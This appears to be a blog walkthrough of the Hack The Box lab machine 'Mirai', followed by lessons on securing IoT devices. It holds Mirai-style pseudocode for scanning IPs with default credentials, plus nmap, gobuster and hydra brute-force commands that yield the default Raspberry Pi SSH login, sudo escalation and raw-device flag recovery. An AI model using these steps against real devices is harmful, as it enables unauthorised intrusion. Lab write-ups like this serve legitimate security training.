Keep Calm and Hack The Box – Mirai
If you‘re looking to test your penetration skills against a notorious real-world threat, fire up your Kali Linux box and dive into the Hack The Box machine named Mirai. This retired box is based on the infamous Mirai malware that launched some of the largest DDoS attacks in history by exploiting insecure IoT devices.
As a full-stack developer and professional coder, hacking boxes like Mirai provides valuable insights into the mindset of malicious actors and the critical importance of security best practices in our code and infrastructures. Let‘s walk through the process of compromising this machine, examine the lessons it teaches, and discuss strategies for hardening our own IoT applications against similar threats.
Understanding the Mirai Malware
Before we start hacking, let‘s review what made the real Mirai botnet so devastating. Mirai first emerged in 2016 when its source code was published online. The code was designed to scan the internet for IoT devices like routers, cameras, and DVRs that used default usernames and passwords.
Here‘s a simplified version of how the Mirai malware worked:
# Mirai Pseudocode
# List of default credentials to try
credentials = [
(‘admin‘, ‘12345‘),
(‘root‘, ‘pass‘),
(‘user‘, ‘1234‘),
...
]
# Scan random IP addresses on ports 22 and 23
for ip in random_ips():
for port in [22, 23]:
# Try to login with each credential pair
for username, password in credentials:
if login(ip, port, username, password):
# If successful, download malware to device
download_malware(ip, port)
break
Once infected, the IoT devices became part of a botnet waiting for commands from a central control server. The botnet was then used to launch massive DDoS attacks by flooding targets with traffic from the compromised devices.
Some of the DDoS attacks powered by Mirai were unprecedented in scale at the time:
Date | Target | Peak Traffic |
---|---|---|
09/19/2016 | Krebs on Security | 623 Gbps |
10/21/2016 | Dyn DNS | 1.2 Tbps |
11/08/2016 | Liberia (entire country) | 500 Gbps |
Source: Cloudflare
These attacks managed to disrupt major web services and even hamper internet access for an entire nation. The proliferation of insecure IoT devices made it easy for Mirai to amass a botnet of hundreds of thousands of nodes.
Hacking the Mirai Box
With that background in mind, let‘s dive into compromising the Mirai machine on Hack The Box. As with any box, we‘ll follow the standard penetration testing methodology:
- Reconnaissance
- Exploit
- Escalate privileges
- Capture flags
- Analyze and report
Step 1: Reconnaissance
We start by scanning the Mirai box to identify potential entry points. An nmap
scan reveals several open ports:
$ nmap -A -v 10.10.10.48
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian
53/tcp open domain dnsmasq 2.76
80/tcp open http lighttpd 1.4.35
Port 80 suggests a web server, so let‘s investigate further with gobuster
to search for hidden directories:
$ gobuster dir -u 10.10.10.48 -w /usr/share/wordlists/dirb/common.txt
/admin (Status: 301)
/swfobject.js (Status: 200)
The /admin
directory looks promising.
Step 2: Exploit
Navigating to http://10.10.10.48/admin
in the browser shows a login page for Pi-hole, an ad-blocking application commonly installed on Raspberry Pi devices:
Some quick research reveals that Raspberry Pis running the Raspbian OS often use "pi" as the default username and "raspberry" as the password. When we try these creds on the Pi-hole login, they don‘t work. But what about SSH?
We can use a tool like hydra
to brute force the SSH login with a list of common credentials:
$ hydra -l pi -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.48
[22][ssh] host: 10.10.10.48 login: pi password: raspberry
Bingo! We can now SSH into the box as the "pi" user.
Step 3: Privilege Escalation
Once logged in over SSH, our goal is to gain root access to capture the final flag. We start by checking sudo
privileges for the "pi" user:
$ sudo -l
User pi may run the following commands on localhost:
(ALL : ALL) ALL
Jackpot! The "pi" user has full sudo
rights, so we can simply switch to the root user:
$ sudo su
root@localhost:~#
We now have complete control over the machine.
Step 4: Capture the Flags
With root access, finding the flags is trivial. The user flag is in the pi
user‘s home directory:
root@localhost:~# cat /home/pi/user.txt
ff2...
The root flag proves more elusive. Checking the /root
directory reveals a note hinting at a USB backup:
root@localhost:~# cat /root/root.txt
I lost my original root.txt! I think I may have a backup on my USB stick...
Using df
to list file systems shows a mounted USB drive at /media/usbstick
:
root@localhost:~# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/sdb 8.7M 93K 8.6M 2% /media/usbstick
Examining this USB stick reveals another note from a user named James suggesting the files were deleted. To recover the flag, we can use strings
to search the raw device for printable characters:
root@localhost:~# strings /dev/sdb
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
/media/usbstick
2f6...
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?
-James
And there‘s our final flag!
Step 5: Analysis and Lessons
Hacking the Mirai box reinforces several critical lessons for developers and security professionals:
-
Default credentials are a massive risk. The primary reason Mirai was able to assemble such a large botnet was the prevalence of unchanged default passwords. As developers, we must ensure our applications require users to set strong, unique passwords and avoid hardcoded credentials.
-
Principle of least privilege is essential. The "pi" user having full
sudo
rights allowed an easy escalation to root once the initial foothold was gained. Follow the principle of least privilege and only grant the minimum permissions necessary for each user and process. -
IoT security is often an afterthought. Many IoT devices prioritize ease of setup and use over security. As the developers behind these products, we need to consider security as a first-class requirement. This includes secure default configurations, automated patching, and comprehensive security testing.
-
Recovering deleted files is often possible. The final flag on the USB drive demonstrates that simply deleting sensitive data isn‘t always sufficient. Ensure thorough and secure wiping of storage media containing confidential information.
Securing IoT Applications
As full-stack developers, we have a responsibility to build security into our IoT applications from the ground up. Here are some best practices to consider:
-
Secure by default. Don‘t rely on users to harden their devices. Ship your applications with secure default configurations and require changes to default passwords.
-
Encrypt data in transit and at rest. Use HTTPS for all network communication and encrypt sensitive data stored on devices and backends. Consider using Trusted Platform Modules (TPMs) for secure key storage.
-
Implement strong authentication. Require multi-factor authentication for sensitive functions and use proven libraries for password hashing and session management.
-
Keep dependencies updated. The IoT ecosystem is complex, with many interconnected libraries and frameworks. Stay on top of updates and patches for all your application‘s dependencies.
-
Harden your infrastructure. Follow security best practices for your cloud providers and use tools like security groups, VPCs, and IAM to tightly control access to your backend resources.
-
Test, test, test. Incorporate comprehensive security testing into your development lifecycle. This includes static code analysis, dynamic testing, and penetration testing. Consider a bug bounty program to leverage crowdsourced testing.
The Future of IoT Security
The lessons of Mirai are more relevant than ever as the number of connected devices continues to explode. Gartner predicts there will be over 20 billion IoT devices by 2020, presenting an enormous attack surface.
Since the original Mirai attacks, we‘ve seen even more sophisticated IoT threats emerge. The Reaper botnet infected over a million devices in 2017 by exploiting known vulnerabilities in IoT software. In 2019, the Silex malware bricked thousands of IoT devices by deleting system files and removing network configurations.
As developers, we need to stay ahead of these emerging threats by making security a core part of our IoT development process. This means continuous learning, collaborating with security researchers, and advocating for secure coding practices within our organizations.
Beyond technical measures, we also need policy solutions to incentivize more secure IoT development. California‘s SB-327 law, which went into effect in 2020, requires IoT device manufacturers to equip devices with "reasonable security features". While a step in the right direction, the vagueness of "reasonable" leaves much room for interpretation.
Moving forward, we need more specific and enforceable IoT security standards at national and international levels. Initiatives like NIST‘s IoT Cybersecurity Program and the EU‘s Cybersecurity Act are working towards this goal, but there‘s still much work to be done.
Conclusion
Hacking the Mirai box is a sobering reminder of the real-world consequences of insecure IoT development. As the creators of these increasingly ubiquitous and powerful devices, we have an obligation to put security first.
It‘s not enough to ship cool new features – we need to ensure those features are built on a foundation of secure coding practices, hardened infrastructures, and continuous testing. Only then can we realize the full potential of IoT without putting our users and networks at undue risk.
So let‘s learn from Mirai, and build an IoT future that is both innovative and secure. It won‘t be easy, but as full-stack developers and professional coders, we‘re up for the challenge. After all, in the immortal words of Hack The Box: "Keep calm and hack the box!"